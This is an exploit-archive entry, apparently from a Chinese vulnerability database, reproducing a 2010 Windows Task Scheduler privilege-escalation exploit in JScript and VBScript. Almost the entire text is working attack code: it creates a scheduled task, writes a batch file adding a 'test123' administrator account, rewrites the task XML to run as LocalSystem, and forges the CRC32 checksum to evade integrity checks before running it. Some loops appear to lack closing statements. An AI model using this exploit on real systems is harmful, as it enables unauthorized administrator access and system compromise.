发布 2010-11-20 漏洞条目

Microsoft Windows – Task Scheduler Privilege Escalation

Exploit Source

# Exploit Title: Windows Task Scheduler Privilege Escalation 0day

# Date: 20-11-2010

# Author: webDEViL

# Tested on: Windows 7/2008 x86/x64

crc_table = new Array(

0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419,

0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4,

0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07,

0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,

0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856,

0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,

0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,

0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,

0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,

0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A,

0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599,

0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,

0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190,

0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,

0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E,

0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,

0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED,

0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,

0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3,

0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,

0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,

0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5,

0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010,

0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,

0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17,

0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6,

0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,

0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,

0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344,

0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,

0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A,

0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,

0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1,

0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C,

0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,

0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,

0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE,

0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31,

0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C,

0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,

0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B,

0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,

0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1,

0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,

0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,

0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7,

0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66,

0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,

0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,

0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8,

0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B,

0x2D02EF8D

);

var hD='0123456789ABCDEF';

function dec2hex(d) {

h='';

for (i=0;i<8;i++) {

h = hD.charAt(d&15)+h;

d >>>= 4;

}

return h;

}

function encodeToHex(str){

var r="";

var e=str.length;

var c=0;

var h;

while(c<e){

h=str.charCodeAt(c++).toString(16);

while(h.length<3) h="0"+h;

r+=h;

}

return r;

}

function decodeFromHex(str){

var r="";

var e=str.length;

var s=0;

while(e>1){

r=r+String.fromCharCode("0x"+str.substring(s,s+2));

s=s+2;

e=e-2;

}

return r;

}

function calc_crc(anyForm) {

anyTextString=decodeFromHex(anyForm);

Crc_value = 0xFFFFFFFF;

StringLength=anyTextString.length;

for (i=0; i<StringLength; i++) {

tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;

Table_value = crc_table[tableIndex];

Crc_value >>>= 8;

Crc_value ^= Table_value;

}

Crc_value ^= 0xFFFFFFFF;

return dec2hex(Crc_value);

}

function rev_crc(leadString,endString,crc32) {

// First, we calculate the CRC-32 for the initial string

anyTextString=decodeFromHex(leadString);

Crc_value = 0xFFFFFFFF;

StringLength=anyTextString.length;

//document.write(alert(StringLength));

for (var i=0; i<StringLength; i++) {

tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;

Table_value = crc_table[tableIndex];

Crc_value >>>= 8;

Crc_value ^= Table_value;

}

// Second, we calculate the CRC-32 without the final string

crc=parseInt(crc32,16);

crc ^= 0xFFFFFFFF;

anyTextString=decodeFromHex(endString);

StringLength=anyTextString.length;

for (var i=0; i<StringLength; i++) {

tableIndex=0;

Table_value = crc_table[tableIndex];

while (((Table_value ^ crc) >>> 24) & 0xFF) {

tableIndex++;

Table_value = crc_table[tableIndex];

}

crc ^= Table_value;

crc <<= 8;

crc |= tableIndex ^ anyTextString.charCodeAt(StringLength - i -1);

}

// Now let's find the 4-byte string

for (var i=0; i<4; i++) {

tableIndex=0;

Table_value = crc_table[tableIndex];

while (((Table_value ^ crc) >>> 24) & 0xFF) {

tableIndex++;

Table_value = crc_table[tableIndex];

}

crc ^= Table_value;

crc <<= 8;

crc |= tableIndex;

}

crc ^= Crc_value;

// Finally, display the results

var TextString=dec2hex(crc);

var Teststring='';

Teststring=TextString.substring(6,8);

Teststring+=TextString.substring(4,6);

Teststring+=TextString.substring(2,4);

Teststring+=TextString.substring(0,2);

return Teststring

}

function decodeFromHex(str){

var r="";

var e=str.length;

var s=0;

while(e>1){

r=r+String.fromCharCode("0x"+str.substring(s,s+2));

s=s+2;

e=e-2;

}

return r;

}

</script>

dim output

set output = wscript.stdout

output.writeline " Task Scheduler 0 day - Privilege Escalation "

output.writeline " Should work on Vista/Win7/2008 x86/x64"

output.writeline " webDEViL - w3bd3vil [at] gmail [dot] com" & vbCr & vbLf

biatchFile = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\xpl.bat"

Set objShell = CreateObject("WScript.Shell")

objShell.Run "schtasks /create /TN wDw00t /sc monthly /tr """+biatchFile+"""",,True

Set fso = CreateObject("Scripting.FileSystemObject")

Set a = fso.CreateTextFile(biatchFile, True)

a.WriteLine ("net user /add test123 test123")

a.WriteLine ("net localgroup administrators /add test123")

a.WriteLine ("schtasks /delete /f /TN wDw00t")

Function ReadByteArray(strFileName)

Const adTypeBinary = 1

Dim bin

Set bin = CreateObject("ADODB.Stream")

bin.Type = adTypeBinary

bin.Open

bin.LoadFromFile strFileName

ReadByteArray = bin.Read

'output.writeline ReadByteArray

End Function

Function OctetToHexStr (arrbytOctet)

Dim k

OctetToHexStr = ""

For k = 3 To Lenb (arrbytOctet)

OctetToHexStr = OctetToHexStr _

& Right("0" & Hex(Ascb(Midb(arrbytOctet, k, 1))), 2)

End Function

strFileName="C:\windows\system32\tasks\wDw00t"

hexXML = OctetToHexStr (ReadByteArray(strFileName))

'output.writeline hexXML

crc32 = calc_crc(hexXML)

output.writeline "Crc32 Original: "+crc32

Set xmlDoc = CreateObject("Microsoft.XMLDOM")

'permissions workaround

'objShell.Run "cmd /c copy C:\windows\system32\tasks\wDw00t .",,True

'objShell.Run "cmd /c schtasks /query /XML /TN wDw00t > wDw00t.xml",,True

Set objShell = WScript.CreateObject("WScript.Shell")

Set objExecObject = objShell.Exec("cmd /c schtasks /query /XML /TN wDw00t")

Do Until objExecObject.StdOut.AtEndOfStream

strLine = strLine & objExecObject.StdOut.ReadLine()

Loop

hexXML = "FFFE3C00"+OctetToHexStr(strLine)

'output.writeline hexXML

Set ts = fso.createtextfile ("wDw00t.xml")

For n = 1 To (Len (hexXML) - 1) step 2

ts.write Chr ("&h" & Mid (hexXML, n, 2))

ts.close

xmlDoc.load "wDw00t.xml"

Set Author = xmlDoc.selectsinglenode ("//Task/RegistrationInfo/Author")

Author.text = "LocalSystem"

Set UserId = xmlDoc.selectsinglenode ("//Task/Principals/Principal/UserId")

UserId.text = "S-1-5-18"

xmldoc.save(strFileName)

hexXML = OctetToHexStr (ReadByteArray(strFileName))

leadString=hexXML+"3C0021002D002D00"

endString="2D002D003E00"

'output.writeline leadString

impbytes=rev_crc(leadString,endString,crc32)

output.writeline "Crc32 Magic Bytes: "+impbytes

finalString = leadString+impbytes+endString

forge = calc_crc(finalString)

output.writeline "Crc32 Forged: "+forge

strHexString="FFFE"+finalString

Set fso = CreateObject ("scripting.filesystemobject")

Set stream = CreateObject ("adodb.stream")

Set ts = fso.createtextfile (strFileName)

For n = 1 To (Len (strHexString) - 1) step 2

ts.write Chr ("&h" & Mid (strHexString, n, 2))

ts.close

Set objShell = CreateObject("WScript.Shell")

objShell.Run "schtasks /change /TN wDw00t /disable",,True

objShell.Run "schtasks /change /TN wDw00t /enable",,True

objShell.Run "schtasks /run /TN wDw00t",,True

</script>

</job>

作者: webDEViL
日期: 2010-11-20
类别: local
平台: windows

相关漏洞条目

ZTE H298A / H108N – Unauthenticated Credential Exposure

ZTE ZXHN H188A V6 – Authentication Bypass

ZTE Routers – Unauthenticated Denial of Service

ImageMagick – Infinite Loop in the MIFF decoder can lead to CPU exhaustion